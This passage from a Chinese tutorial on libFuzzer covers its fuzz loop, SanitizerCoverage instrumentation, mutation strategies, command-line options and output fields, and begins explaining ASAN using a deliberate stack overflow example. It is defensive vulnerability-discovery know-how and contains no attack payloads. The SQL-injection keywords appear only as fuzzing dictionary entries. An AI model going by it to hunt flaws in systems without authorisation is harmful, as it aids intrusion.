II.NumExecutedMutations++;
if (size_t NumFeatures = RunOne(CurrentUnitData, Size)) { // 开始Fuzzing,如果使用前面生成的变异数据拿去Fuzzing,发现了新的路径数量,就会保存到NumFeatures,没有发现新路径则NumFeatures=0.
Corpus.AddToCorpus({CurrentUnitData, CurrentUnitData + Size}, NumFeatures,
/*MayDeleteFile=*/true); // 注意,这一段代码是libFuzzer的核心逻辑之一,如果变异数据发现新路径,那就记录该数据到数据收集器.这是libFuzzer路径探测的核心原理.
ReportNewCoverage(&II, {CurrentUnitData, CurrentUnitData + Size});
CheckExitOnSrcPosOrItem();
}
StopTraceRecording();
TryDetectingAMemoryLeak(CurrentUnitData, Size,
/*DuringInitialCorpusExecution*/ false);
}
}
size_t Fuzzer::RunOne(const uint8_t *Data, size_t Size) {
ExecuteCallback(Data, Size); // 往下就是调用到LLVMFuzzerTestOneInput()
TPC.UpdateCodeIntensityRecord(TPC.GetCodeIntensity()); // 获取当前执行过的代码分支总数
size_t NumUpdatesBefore = Corpus.NumFeatureUpdates();
TPC.CollectFeatures([&](size_t Feature) {
Corpus.AddFeature(Feature, Size, Options.Shrink);
});
size_t NumUpdatesAfter = Corpus.NumFeatureUpdates(); // 从SanitizerCoverage插桩记录的信息中获取分支数据
// 省略代码
return NumUpdatesAfter - NumUpdatesBefore; // 计算发现了多少新分支路径
}
```
明白libFuzzer的主要Fuzzing原理后,我们现在探讨下代码覆盖率的实现细节.首先,libFuzzer TracePC(TPC)类是专门用于收集使用SanitizerCoverage插桩获取到的信息,代码实现在FuzzerTracePC.cpp文件下.
```c++
ATTRIBUTE_INTERFACE
void __sanitizer_cov_trace_pc_guard_init(uint32_t *Start, uint32_t *Stop) {
fuzzer::TPC.HandleInit(Start, Stop);
}
ATTRIBUTE_INTERFACE
ATTRIBUTE_NO_SANITIZE_ALL
void __sanitizer_cov_trace_pc_guard(uint32_t *Guard) {
uintptr_t PC = reinterpret_cast<uintptr_t>(__builtin_return_address(0));
uint32_t Idx = *Guard;
getStackDepth();
fuzzer::codeIntensity++;
__sancov_trace_pc_pcs[Idx] = PC;
__sancov_trace_pc_guard_8bit_counters[Idx]++;
}
```
理解这个细节后,再回来看核心逻辑`Fuzzer::ExecuteCallback()`.
```c++
void Fuzzer::ExecuteCallback(const uint8_t *Data, size_t Size) {
// 省略代码
uint8_t *DataCopy = new uint8_t[Size];
memcpy(DataCopy, Data, Size); // 从变异的数据中复制一份到这个内存,后面会用到
// 省略代码
TPC.ResetMaps(); // 清空所有路径信息
RunningCB = true;
int Res = CB(DataCopy, Size); // 执行用户自定义的LLVMFuzzerTestOneInput()
RunningCB = false;
// 省略代码
if (!LooseMemeq(DataCopy, Data, Size)) // 注意这个坑,如果传递给LLVMFuzzerTestOneInput()的data会被程序修改,那么libFuzzer会强制退出
CrashOnOverwrittenData();
delete[] DataCopy;
}
```
#### 数据生成原理
对整个Fuzzing过程清晰后,我们回来探索libFuzzer的数据生成原理,对应数据变异模块`MutationDispatcher`.
```c++
MutationDispatcher::MutationDispatcher(Random &Rand,const FuzzingOptions &Options)
: Rand(Rand), Options(Options) { // Rand是随机数生成器
DefaultMutators.insert(
DefaultMutators.begin(), // 添加数据变异算法
{
{&MutationDispatcher::Mutate_EraseBytes, "EraseBytes"},
{&MutationDispatcher::Mutate_InsertByte, "InsertByte"},
{&MutationDispatcher::Mutate_InsertRepeatedBytes,
"InsertRepeatedBytes"},
{&MutationDispatcher::Mutate_ChangeByte, "ChangeByte"},
{&MutationDispatcher::Mutate_ChangeBit, "ChangeBit"},
{&MutationDispatcher::Mutate_ShuffleBytes, "ShuffleBytes"},
{&MutationDispatcher::Mutate_ChangeASCIIInteger, "ChangeASCIIInt"},
{&MutationDispatcher::Mutate_ChangeBinaryInteger, "ChangeBinInt"},
{&MutationDispatcher::Mutate_CopyPart, "CopyPart"},
{&MutationDispatcher::Mutate_CrossOver, "CrossOver"},
{&MutationDispatcher::Mutate_AddWordFromManualDictionary,
"ManualDict"},
{&MutationDispatcher::Mutate_AddWordFromTemporaryAutoDictionary,
"TempAutoDict"},
{&MutationDispatcher::Mutate_AddWordFromPersistentAutoDictionary,
"PersAutoDict"},
});
if(Options.UseCmp)
DefaultMutators.push_back(
{&MutationDispatcher::Mutate_AddWordFromTORC, "CMP"});
if (EF->LLVMFuzzerCustomMutator) // 如果存在用户自定义的数据变异方法,那就使用它
Mutators.push_back({&MutationDispatcher::Mutate_Custom, "Custom"});
else
Mutators = DefaultMutators;
if (EF->LLVMFuzzerCustomCrossOver)
Mutators.push_back(
{&MutationDispatcher::Mutate_CustomCrossOver, "CustomCrossOver"});
}
```
关于数据变异的算法读者们自行阅读,这些变异方法基本上都差不多.笔者画图整理全部的逻辑,读者们就能对此一目了然.

#### 路径探测原理
前面有简略地提到这点,简单总结整体流程如下:

本章最后,把libFuzzer数据变异和路径探测结合在一起的完整过程如下所示.

## 深入解析libFuzzer参数与回显
本小节着重于对实用情景下对libFuzzer的用法和坑(参数,回显,bug等)做深入的分析,为什么要将它放到最后来解释呢?笔者在实际工作中遇到了一些难以处理问题,都是依靠前面对libFuzzer源码的浅薄理解而解决的.
#### 编译时使用 libFuzzer.a和-fsanitize=fuzzer有区别嘛?
回顾libfuzzer-workshop的例子,示例的第一步要求我们先对libFuzzer的源码进行编译,生成libFuzzer.a静态库,然后再自行编写Fuzz逻辑入口,把Fuzzer,库源码,libFuzzer.a同时链接,生成可执行Fuzzer.实际上clang中已经内置了libFuzzer,我们使用-fsanitize=fuzzer也可以引入它.举个例子:
```c
#include <stdio.h>
int LLVMFuzzerTestOneInput(const char* Data,unsigned int Size) {
if (Size > 4) {
if (Data[1] == 'F' && Data[3] == 'A') {
printf("bingo \n");
exit(0);
}
}
return 0;
}
```
命令行下执行结果:
```sh
ubuntu@ubuntu-virtual-machine:~/Desktop/temp$ clang -fsanitize=fuzzer 1.c -o 1_fuzzer && ./1_fuzzer
INFO: Seed: 3655122303
INFO: Loaded 1 modules (5 inline 8-bit counters): 5 [0x4e8080, 0x4e8085),
INFO: Loaded 1 PC tables (5 PCs): 5 [0x4bee00,0x4bee50),
INFO: -max_len is not provided; libFuzzer will not generate inputs larger than 4096 bytes
INFO: A corpus is not provided, starting from an empty corpus
#2 INITED cov: 2 ft: 2 corp: 1/1b exec/s: 0 rss: 28Mb
#219 NEW cov: 3 ft: 3 corp: 2/7b lim: 6 exec/s: 0 rss: 28Mb L: 6/6 MS: 2 CopyPart-CrossOver-
#245 REDUCE cov: 3 ft: 3 corp: 2/6b lim: 6 exec/s: 0 rss: 28Mb L: 5/5 MS: 1 EraseBytes-
#4770 REDUCE cov: 4 ft: 4 corp: 3/12b lim: 48 exec/s: 0 rss: 28Mb L: 6/6 MS: 5 CrossOver-ShuffleBytes-EraseBytes-ChangeBinInt-ShuffleBytes-
#4773 REDUCE cov: 4 ft: 4 corp: 3/11b lim: 48 exec/s: 0 rss: 28Mb L: 5/5 MS: 3 CopyPart-ShuffleBytes-EraseBytes-
bingo
==822227== ERROR: libFuzzer: fuzz target exited
#0 0x4adb40 in __sanitizer_print_stack_trace (/home/ubuntu/Desktop/temp/1_fuzzer+0x4adb40)
#1 0x459498 in fuzzer::PrintStackTrace() (/home/ubuntu/Desktop/temp/1_fuzzer+0x459498)
#2 0x43f58c in fuzzer::Fuzzer::ExitCallback() (/home/ubuntu/Desktop/temp/1_fuzzer+0x43f58c)
#3 0x7f064ebb9a56 in __run_exit_handlers stdlib/exit.c:108:8
#4 0x7f064ebb9bff in exit stdlib/exit.c:139:3
#5 0x4adf32 in LLVMFuzzerTestOneInput (/home/ubuntu/Desktop/temp/1_fuzzer+0x4adf32)
#6 0x440a31 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/home/ubuntu/Desktop/temp/1_fuzzer+0x440a31)
#7 0x440175 in fuzzer::Fuzzer::RunOne(unsigned char const*, unsigned long, bool, fuzzer::InputInfo*, bool*) (/home/ubuntu/Desktop/temp/1_fuzzer+0x440175)
#8 0x441ba0 in fuzzer::Fuzzer::MutateAndTestOne() (/home/ubuntu/Desktop/temp/1_fuzzer+0x441ba0)
#9 0x442615 in fuzzer::Fuzzer::Loop(std::__Fuzzer::vector<fuzzer::SizedFile, fuzzer::fuzzer_allocator<fuzzer::SizedFile> >&) (/home/ubuntu/Desktop/temp/1_fuzzer+0x442615)
#10 0x432025 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/home/ubuntu/Desktop/temp/1_fuzzer+0x432025)
#11 0x459c72 in main (/home/ubuntu/Desktop/temp/1_fuzzer+0x459c72)
#12 0x7f064eb9dcb1 in __libc_start_main csu/../csu/libc-start.c:314:16
#13 0x40684d in _start (/home/ubuntu/Desktop/temp/1_fuzzer+0x40684d)
SUMMARY: libFuzzer: fuzz target exited
MS: 1 InsertByte-; base unit: 0c7d9271cf3d2a4e2c3eec3e76a2d1dc1431af36
0xa,0x46,0xf6,0x41,0xa,0xa,
\x0aF\xf6A\x0a\x0a
artifact_prefix='./'; Test unit written to ./crash-8860dc7909080bcb9ca9827f67704611bbdf02b9
Base64: Ckb2QQoK
ubuntu@ubuntu-virtual-machine:~/Desktop/temp$
```
这看起来和直接引入libFuzzer.a的效果一样,那么接下来我们再引入**-fsanitize-coverage=trace-pc-guard**重新编译运行.结果如下:
```sh
ubuntu@ubuntu-virtual-machine:~/Desktop/temp$ clang -v
Ubuntu clang version 11.0.0-2
Target: x86_64-pc-linux-gnu
ubuntu@ubuntu-virtual-machine:~/Desktop/temp$ clang -fsanitize=fuzzer -fsanitize-coverage=trace-pc-guard 1.c -o 1_fuzzer && ./1_fuzzer
-fsanitize-coverage=trace-pc-guard is no longer supported by libFuzzer.
Please either migrate to a compiler that supports -fsanitize=fuzzer
or use an older version of libFuzzer
ubuntu@ubuntu-virtual-machine:~/Desktop/temp$
```
这是因为高版本的clang不支持trace-pc-guard和trace-pc了.对此有两个解决方法:
* 使用-fsanitize-coverage=trace-gep,trace-div,trace-cmp替代trace-pc-guard.(适用于Windows平台)
* 使用低版本的libFuzzer编译出静态库然后导入链接.因为不支持trace-pc-guard的逻辑是在libFuzzer中写死的(参考FuzzerTracePC.cpp __sanitizer_cov_trace_pc_guard()函数),即使换成高版本libFuzzer的静态库也是一样的提示.
#### 为什么libFuzzer要删除对trace-pc的支持?
libFuzzer开发者kcc在2019年1月的Commit中删除了libFuzzer对trace-pc的支持,相关diff如下:
* https://github.com/llvm/llvm-project/commit/62d727061053dac28447a900fce064c54d366bd6#
* https://github.com/llvm/llvm-project/commit/62d727061053dac28447a900fce064c54d366bd6#
笔者找遍了文档和提交记录,对于为什么要删除trace-pc的支持找不到任何相关信息,于是只能通过阅读源码和效果对比测试来理解和推测.相关结论如下:
* 删除trace-pc是因为trace-pc的代码覆盖率统计方法可以被替代.
* trace-pc随后被inline-8bit-counter(统计BasicBlock执行次数)和trace-cmp(在分支之前插桩)替代,因为trace-cmp可以主动发现逻辑判断中对比的数值,部分场景下能够增强主动模糊测试效果.
我们先对比一下改变前后的libFuzzer编译结果.旧版本的libFuzzer使用trace-pc插桩之后的代码逻辑如下,`生成的Data让逻辑执行到某个特定的BasicBlock时才记录代码覆盖`,这样模糊测试工具相对*被动*.

新版本的libFuzzer默认使用trace-cmp插桩之后,会在判断逻辑前面插桩并收集判断逻辑的数据(比如下面的反编译就是收集判断`if(Data[0] = '1')`的字符1),然后回馈到语料库(fuzzer::TracePC::TableOfRecentCompares).有了这些判断中的数据,生成模糊测试的数据就能相对有个方向,更为*主动*.其中__santizer_cov_trace_const_cmp4是由trace-cmp插桩的逻辑,++byte_4EB071是由inline-8bit-Counter插桩的逻辑.

两种插桩模式的模糊测试效果对比如下:

附加参考链接:https://reviews.llvm.org/rC352818
#### Windows平台下怎么引用libFuzzer?
Windows平台下使用libFuzzer建议还是使用LLVM官网的Windows编译套件,因为使用Visutal Studio Installer下载的LLVM版本只支持32位编译(只有32位的静态库),LLVM官网的Windows编译套件32/64位都支持.
Visual Studio项目需要修改编译工具集为LLVM-clang和正确平台SDK的即可.有几点需要注意:
* clang的编译语法和MSVC不一样,有一些不应该提示的错误可以使用-Wno-xxx关闭警告.
* clang甚至不支持一些MSVC内置函数(比如__cpuid等),可以尝试引入intrin.h解决.
* 有一些MSVC或者WinAPI符号无法被clang识别,这是因为C++重载问题导致clang找不到符号.比如InternalLockAdd(LONG)和InternalLockAdd(ULONG),clang会认为是两个不一样的函数,但是WinAPI只有一个.所以建议直接对函数参数传参做强制转换,.对齐标准WinAPI声明.
* 链接时需要手工引入.lib库,还记得前面的compiler-RT库嘛,插桩逻辑和Fuzzer调度逻辑都在这里,clang默认不会加载.
#### libFuzzer怎么样提高模糊测试效果?
`-dict`参数指定一个语料库,后续ManualDict这些数据变异模块就可以从这里拿到**和当前被测试的逻辑强相关的关键词**.举个例子,我们对SQL注入做测试,这些关键词是不是就包含了:union select,from,count()等;对文件解析测试,是不是就需要包含7zip,PE,MZ,Rar!等关键词呢.我们传递的这些关键词,最终会被拼接到LLVMFuzzerTestOneInput()的data参数中.
实际上,libFuzzer也能够像AFL一样接受一批样本数据作为初始化输入来做模糊测试.这样的话我们就可以根据模糊测试的对象的业务去github和各个项目的测试用例中搜罗样本数据了.
上面两个参数是可以结合使用的,不带参数和带参数的对路径探测的结果影响如下:
```sh
ubuntu@ubuntu-virtual-machine:~/Desktop/fuzz$ ./test_case
INFO: Seed: 1117474860
INFO: Loaded 1 modules (10682 guards): [0x110c9b8, 0x11170a0),
INFO: -max_len is not provided; libFuzzer will not generate inputs larger than 4096 bytes
INFO: A corpus is not provided, starting from an empty corpus
#0 READ units: 1
#1 INITED cov: 869 ci: 0K ft: 180 corp: 1/1b exec/s: 0 rss: 135Mb
#2 NEW cov: 869 ci: 0K ft: 208 corp: 2/2b exec/s: 0 rss: 135Mb L: 1 MS: 1 ShuffleBytes-
#3 NEW cov: 885 ci: 0K ft: 229 corp: 3/4b exec/s: 0 rss: 135Mb L: 2 MS: 2 ShuffleBytes-CrossOver-
#5 NEW cov: 886 ci: 0K ft: 239 corp: 4/5b exec/s: 0 rss: 135Mb L: 1 MS: 4 ShuffleBytes-CrossOver-EraseBytes-ChangeBit-
#8 NEW cov: 886 ci: 0K ft: 248 corp: 5/8b exec/s: 0 rss: 135Mb L: 3 MS: 2 ChangeBit-CrossOver-
#9 NEW cov: 887 ci: 0K ft: 249 corp: 6/12b exec/s: 0 rss: 135Mb L: 4 MS: 3 ChangeBit-CrossOver-InsertByte-
#12 NEW cov: 898 ci: 0K ft: 264 corp: 7/89b exec/s: 0 rss: 145Mb L: 77 MS: 1 InsertRepeatedBytes-
#13 NEW cov: 898 ci: 1K ft: 267 corp: 8/210b exec/s: 0 rss: 145Mb L: 121 MS: 2 InsertRepeatedBytes-CopyPart-
#14 NEW cov: 898 ci: 2K ft: 269 corp: 9/401b exec/s: 0 rss: 145Mb L: 191 MS: 3 InsertRepeatedBytes-CopyPart-CopyPart-
#15 NEW cov: 898 ci: 2K ft: 270 corp: 10/593b exec/s: 0 rss: 145Mb L: 192 MS: 4 InsertRepeatedBytes-CopyPart-CopyPart-InsertByte-
#21 NEW cov: 899 ci: 41K ft: 271 corp: 11/4689b exec/s: 0 rss: 145Mb L: 4096 MS: 5 ChangeBit-EraseBytes-EraseBytes-ChangeBit-CrossOver-
#25 NEW cov: 899 ci: 41K ft: 272 corp: 12/5513b exec/s: 0 rss: 145Mb L: 824 MS: 4 ChangeByte-CMP-CrossOver-CrossOver- DE: "\xef\x0f"-
#43 NEW cov: 899 ci: 41K ft: 280 corp: 13/5516b exec/s: 0 rss: 145Mb L: 3 MS: 2 ChangeBinInt-CopyPart-
#90 NEW cov: 899 ci: 41K ft: 281 corp: 14/5746b exec/s: 0 rss: 145Mb L: 230 MS: 4 ChangeByte-PersAutoDict-CopyPart-InsertRepeatedBytes- DE: "\xef\x0f"-
#106 NEW cov: 899 ci: 41K ft: 283 corp: 15/6032b exec/s: 0 rss: 145Mb L: 286 MS: 5 EraseBytes-ChangeBit-ShuffleBytes-ChangeBit-InsertRepeatedBytes-
#117 NEW cov: 899 ci: 41K ft: 284 corp: 16/6071b exec/s: 0 rss: 145Mb L: 39 MS: 1 EraseBytes-
#124 NEW cov: 899 ci: 41K ft: 286 corp: 17/6076b exec/s: 0 rss: 145Mb L: 5 MS: 3 ChangeByte-ShuffleBytes-PersAutoDict- DE: "\xef\x0f"-
#163 NEW cov: 899 ci: 41K ft: 288 corp: 18/6093b exec/s: 0 rss: 145Mb L: 17 MS: 2 CMP-CMP- DE: "\x00\x00\x00\x00\x00\x00\x00\x00"-"\xff\xff\xff\xff\xff\xff\x0b["-
#164 NEW cov: 899 ci: 41K ft: 290 corp: 19/6106b exec/s: 0 rss: 145Mb L: 13 MS: 3 CMP-CMP-EraseBytes- DE: "\x00\x00\x00\x00\x00\x00\x00\x00"-"\xff\xff\xff\xff\xff\xff\x0b["-
#169 NEW cov: 899 ci: 41K ft: 292 corp: 20/6118b exec/s: 0 rss: 145Mb L: 12 MS: 3 ChangeByte-ChangeBinInt-CMP- DE: "objective"-
#182 NEW cov: 899 ci: 41K ft: 294 corp: 21/6129b exec/s: 0 rss: 145Mb L: 11 MS: 1 CMP- DE: "\xff\xff\xff\xff\xff\xff\xff\xff"-
#529 NEW cov: 899 ci: 41K ft: 295 corp: 22/6131b exec/s: 0 rss: 146Mb L: 2 MS: 3 ChangeBit-InsertByte-ChangeBit-
#634 NEW cov: 899 ci: 41K ft: 296 corp: 23/10227b exec/s: 0 rss: 146Mb L: 4096 MS: 3 CopyPart-CrossOver-ChangeBit-
#702 NEW cov: 899 ci: 41K ft: 298 corp: 24/10418b exec/s: 702 rss: 146Mb L: 191 MS: 1 ChangeBinInt-
#1041 NEW cov: 899 ci: 41K ft: 299 corp: 25/10424b exec/s: 1041 rss: 146Mb L: 6 MS: 5 ShuffleBytes-CMP-CrossOver-EraseBytes-EraseBytes- DE: "\x00\x00\x00Z"-
```
```sh
ubuntu@ubuntu-virtual-machine:~/Desktop/fuzz$ ./test_case -dict=./libfuzzer_keywork.txt sample/
Dictionary: 375 entries
INFO: Seed: 1048768538
INFO: Loaded 1 modules (10682 guards): [0x110c9b8, 0x11170a0),
Loading corpus dir: sample/
Loaded 1024/2640 files from sample/
Loaded 2048/2640 files from sample/
INFO: -max_len is not provided; libFuzzer will not generate inputs larger than 1048576 bytes
#0 READ units: 2638
#1024 pulse cov: 1805 ci: 609K ft: 1585 corp: 73/15289b exec/s: 512 rss: 748Mb
#2048 pulse cov: 3774 ci: 5983K ft: 6522 corp: 259/3660Kb exec/s: 341 rss: 785Mb
#2638 INITED cov: 4286 ci: 18481K ft: 9928 corp: 490/79Mb exec/s: 131 rss: 997Mb
#2639 NEW cov: 4286 ci: 18481K ft: 9929 corp: 491/79Mb exec/s: 131 rss: 997Mb L: 94081 MS: 1 CMP- DE: "N4LIEF17read_out_"-
#2665 NEW cov: 4325 ci: 18481K ft: 9988 corp: 492/79Mb exec/s: 133 rss: 997Mb L: 165541 MS: 2 CMP-PersAutoDict- DE: "\x0a\x00"-"N4LIEF17read_out_"-
#2713 NEW cov: 4325 ci: 18481K ft: 9999 corp: 493/79Mb exec/s: 129 rss: 997Mb L: 103145 MS: 5 CMP-InsertRepeatedBytes-EraseBytes-ManualDict-ChangeByte- DE: "\x01\x00\x00\x00\x00\x01\x89\xca"-"PowerPoint"-
#2804 NEW cov: 4326 ci: 18481K ft: 10006 corp: 494/79Mb exec/s: 127 rss: 997Mb L: 94081 MS: 1 ChangeBit-
#2960 NEW cov: 4326 ci: 18481K ft: 10007 corp: 495/79Mb exec/s: 118 rss: 997Mb L: 67143 MS: 2 PersAutoDict-CMP- DE: "\x01\x00\x00\x00\x00\x01\x89\xca"-"\x00\x00\x00\x00\x00\x00\x13}"-
#3011 NEW cov: 4326 ci: 18481K ft: 10008 corp: 496/79Mb exec/s: 120 rss: 997Mb L: 94205 MS: 3 ChangeASCIIInt-InsertRepeatedBytes-ChangeBinInt-
#3014 NEW cov: 4327 ci: 18481K ft: 10009 corp: 497/79Mb exec/s: 120 rss: 997Mb L: 67143 MS: 1 CopyPart-
#3102 NEW cov: 4327 ci: 18481K ft: 10013 corp: 498/79Mb exec/s: 114 rss: 997Mb L: 81784 MS: 4 ManualDict-ShuffleBytes-ChangeBit-CopyPart- DE: "Jet\x00"-
#3106 NEW cov: 4327 ci: 18481K ft: 10027 corp: 499/79Mb exec/s: 115 rss: 997Mb L: 72629 MS: 3 CopyPart-ChangeByte-CMP- DE: "\x0b\x00"-
#3109 NEW cov: 4327 ci: 18481K ft: 10030 corp: 500/79Mb exec/s: 115 rss: 997Mb L: 65197 MS: 1 CMP- DE: "\x1f\x00\x00\x00\x00\x00\x00\x00"-
#3522 NEW cov: 4328 ci: 18481K ft: 10031 corp: 501/80Mb exec/s: 103 rss: 997Mb L: 39524 MS: 4 InsertByte-ChangeBit-EraseBytes-InsertByte-
```
其中cov值则是执行分支总数,可以看到两次Fuzzer运行之间的巨大差异(第一次执行只覆盖899个分支,第二次执行覆盖4328个分支).这里-worker是指同时使用多个进程来执行Fuzzer(源码实现在FuzzerDriver.cpp WorkerThread()).
#### 多个libFuzzer同时启动时,怎么样区分不同的libFuzzer生成的Crash?
libFuzzer产生崩溃时,会记录当前的崩溃样本到本地,但是这些崩溃样本都是以crash slow-unit oom作为前缀.在一些模糊测试场景中,我们会在当前目录下执行多个libFuzzer程序,那就会导致多个libFuzzer产生的崩溃样本无法辨识,此时引入-artifact_prefix参数为崩溃样本自定义前缀即可.

#### 依赖库没有源码时有没有必要使用libFuzzer?
通过前面的分析,我们知道libFuzzer想要实现遗传算法进行模糊测试,那就需要依赖代码覆盖率Sanitize-Coverage进行插桩.但是有时候要进行模糊测试的程序要依赖到动态库和静态库,此时我们就无法对此进行插桩了.笔者在工作中遇到这种情况,处理思路如下:
* **依赖库中的源码和被模糊测试的源码之间有很大的关联性**.举个例子,项目中依赖7zip的解压库,然后项目对此进行一层性能优化封装,那么要测试的代码也就必须要包含项目中的封装层代码和7zip依赖库源码,因为缺少了其中任意一部分的代码,就会很难覆盖全整个功能所需要的代码,会导致有些逻辑没法被覆盖到.
* **依赖库中的源码和被模糊测试的源码之间关联系不大**.比如项目中引用了protobuf进行数据解析,然后具体的处理逻辑则是由项目处理,那么依赖库protobuf就不应该包含在模糊测试范围中.
#### 如何并行执行多个libFuzzer?
libFuzzer默认只执行一个进程来做模糊测试.我们使用-jobs和-workers参数就能让libFuzzer创建多个**进程**并行执行.命令如下:
```sh
fuzzing@fuzzing-virtual-machine:~/Desktop/test_code$ ./test_code -jobs=10
```

假设读者的电脑配置是4核8G内存的话,那么就会同时有两个进程在执行.如果要同时跑四个进程的话,那就设置为`-workers=4`,workers的值默认是当前CPU核数/2.
-jobs参数是指完成了n个libFuzzer进程之后就退出程序,默认值为0.如果我们要同时执行8个进程并行执行libFuzzer的命令如下:
```sh
fuzzing@fuzzing-virtual-machine:~/Desktop/test_code$ ./test_code -jobs=8 -workers=8
```
需要特别注意的是,如果读者们要并行执行libFuzzer,jobs和workers参数的传值缺一不可.因为libFuzzer代码中的逻辑就是workers和jobs必须要大于0才可以执行并行多进程,所以这个隐藏的坑就是为什么只设置了`-workers=8`但是libFuzzer没有执行并行的原因,因为此时jobs值为默认为0.
还有一点值得提示一下,libFuzzer所做的模糊测试,实际上并没有尝试去维护*干净的上下文*然后重新模糊测试.笔者举个Qemu Fuzzer的例子来说明一下.
我们在对Qemu进行模糊测试时,会生成大量的MMIO和Port IO的方式来进行设备通信.那么大量的测试数据会导致Qemu设备的*状态不断发生改变,而不是从一个初始的状态开始执行*.比如说解析PE文件的接口,我们实例化类之后把文件内容传递到接口去测试,那么这个类都是从初始的状态去执行数据解析然后改变状态.但是对于Qemu虚拟机这样复杂的系统,它需要维护很多上下文相关的对象,所以每次模糊测试和设备交互时,都会对设备的状态进行改变,导致无法从*初始的状态*开始测试,影响最终复现漏洞的结果.为了解决这个问题,Qemu 5.2.0中支持的模糊测试方法是在libFuzzer LLVMFuzzerTestOneInput()中为TracePC创建共享内存,然后fork()出子进程执行模糊测试,父进程wait()等待子进程模糊测试结束,然后从共享内存中收集代码覆盖信息,回馈到libFuzzer核心逻辑中去.

#### libFuzzer输出哪些信息,怎么样根据这些信息优化Fuzzer?
运行libFuzzer编译的程序,从启动到崩溃输出的信息如下:

第一行输出`INFO: Seed: 1410507973`,意思是当前的随机数种子的初始值.因为每一次执行libFuzzer随机数种子的值都是随机的,但是如果读者们想要复现libFuzzer模糊测试,那就需要使用参数`-seed`指定随机数种子的值.
第二行输出`INFO: Loaded 1 modules (10 inline 8-bit counters): 10 [0x5a6ed0, 0x5a6eda)`,意思是显示当前libFuzzer中使用到的插桩方式(inline 8-bit counters)以及Edge分支信息的内存区域开始和结束信息(Start:0x5a6ed0,End:0x5a6eda,总分支数:10).第三行输出亦是同样意义.
第四行输出`INFO: -max_len is not provided; libFuzzer will not generate inputs larger than 4096 bytes`,意思是当前没有指定参数`-max_len`,默认max_len的值是4096字节(4K).max_len参数的意义在于限制libFuzzer生成的Data内容大小.有时候在对协议处理的功能进行模糊测试,那么max_len相对的取值是小一点的,但是对于文件处理的功能进行模糊测试,那么max_len有可能需要设置为100K,具体场景具体分析.
第五行输出`INFO: A corpus is not provided, starting from an empty corpus`,意思是没有指定输入样本,从空数据生成开始模糊测试.
第六行输出`#2 INITED cov: 2 ft: 2 corp: 1/1b exec/s: 0 rss: 31Mb`,意思是执行完所有初始样本输入数据,代码覆盖(cov字段)2个块(以BasicBlock或Edge为单位),2条执行路径(ft字段);每秒执行次数0(exec/s字段);内存占用为31 MB(rss字段).libFuzzer会对程序执行内存有限制,默认内存上限是2 GB.在模糊测试的过程中因为大量内存分配超出rss,那就会导致libFuzzer崩溃,记录当前样本到OOM-xxx文件,如果读者们需要控制libFuzzer的内存上限值,那就使用`-rss_limit_mb`参数(注意,内存泄露也记录在这个范畴中).
第七行输出`#1949 NEW cov: 3 ft: 3 corp: 2/21b lim: 21 exec/s: 0 rss: 31Mb L: 20/20 MS: 2 InsertByte-InsertRepeatedBytes-`,意思是发现程序执行到新路径,此时代码覆盖3个块,3条执行路径;本次发现新路径时生成模糊测试数据大小为20字节(L字段);数据生成使用了2个数据变异模块串联生成(MS字段);所使用的模块顺序是InsertByte=>InsertRepeatedBytes.
libFuzzer输出模糊测试状态时,每行的第二个字段代表的含义如下:
* READ ,意思是当前模糊测试阶段是从给定的样本文件夹中读取模糊测试数据来执行.
* INITED ,意思是使用所有初始样本执行完LLVMFuzzerTestOneInput之后的状态信息.
* NEW ,意思是发现新路径时的状态信息.
* REDUCE ,意思是已经执行过的路径发现了更精简的输入.
* RELOAD ,意思是从样本文件夹中发现并加载了新样本.
* pulse ,没有什么特别的意义,就是定时告诉用户libFuzzer还在运行.
* DONE ,libFuzzer执行结束.
!!!!! 如何优化再补充一下~~~~
## ASAN原理
读过libFuzzer-workshop或者有libFuzzer使用经验的读者应该对以下的命令很熟悉
```sh
clang++ -g openssl_fuzzer.cc -O2 -fno-omit-frame-pointer -fsanitize=address \
-fsanitize-coverage=trace-pc-guard,trace-cmp,trace-gep,trace-div \
-Iopenssl1.0.1f/include openssl1.0.1f/libssl.a openssl1.0.1f/libcrypto.a \
../../libFuzzer/libFuzzer.a -o openssl_fuzzer
```
我们在引入libFuzzer时,还会引入ASAN(clang命令参数-fsanitize=address).也就是说,我们使用libFuzzer作为Fuzzer驱动,进行接口构造调用/数据生成/路径探测,然后使用ASAN作为内存异常检测工具.下面是使用ASAN的简单例子:
```sh
ubuntu@ubuntu-virtual-machine:~/Desktop/instrument_note$ cat ./test_case_2.c
#include <stdio.h>
int main() {
char buffer[10] = {0};
printf("Try Crash!\n");
buffer[10] = 'C';
printf("Oops \n");
return 1;
}
ubuntu@ubuntu-virtual-machine:~/Desktop/instrument_note$ clang ./test_case_2.c -o ./test_case_2 && ./test_case_2
Try Crash!
Oops
ubuntu@ubuntu-virtual-machine:~/Desktop/instrument_note$ clang -fsanitize=address ./test_case_2.c -o ./test_case_2 && ./test_case_2
Try Crash!
=================================================================
==520651==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffeea008e8a at pc 0x0000004c5098 bp 0x7ffeea008e50 sp 0x7ffeea008e48
WRITE of size 1 at 0x7ffeea008e8a thread T0
#0 0x4c5097 in main (/home/ubuntu/Desktop/instrument_note/test_case_2+0x4c5097)
#1 0x7fbfa3d56cb1 in __libc_start_main csu/../csu/libc-start.c:314:16
#2 0x41b2bd in _start (/home/ubuntu/Desktop/instrument_note/test_case_2+0x41b2bd)
Address 0x7ffeea008e8a is located in stack of thread T0 at offset 42 in frame
#0 0x4c4f5f in main (/home/ubuntu/Desktop/instrument_note/test_case_2+0x4c4f5f)
...
```
本章着重于探索ASAN的实现原理,关于ASAN的更深入用法建议参考官方文档(https://clang.llvm.org/docs/AddressSanitizer.html ;https://github.com/google/sanitizers/wiki/AddressSanitizer ).
#### ASAN异常检测原理
使用前面的演示例子,当buffer越界时,它必然会修改越界后内存的数据(...虽然这句是废话,但还是要提一下).我们用gdb调试没有引入ASAN编译的示例代码:
```text
(gdb) n
Try Crash!
10 buffer[10] = 'C';
(gdb) info local
buffer = "\000\000\000\000\000\000\000\000\000"
(gdb) x /16x buffer
0x7fffffffdfb2: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffdfba: 0x00 0x00 0x00 0x00 0x00 0x00 0xa0 0x11
(gdb) n
12 printf("Oops \n");
(gdb) x /16x buffer
0x7fffffffdfb2: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
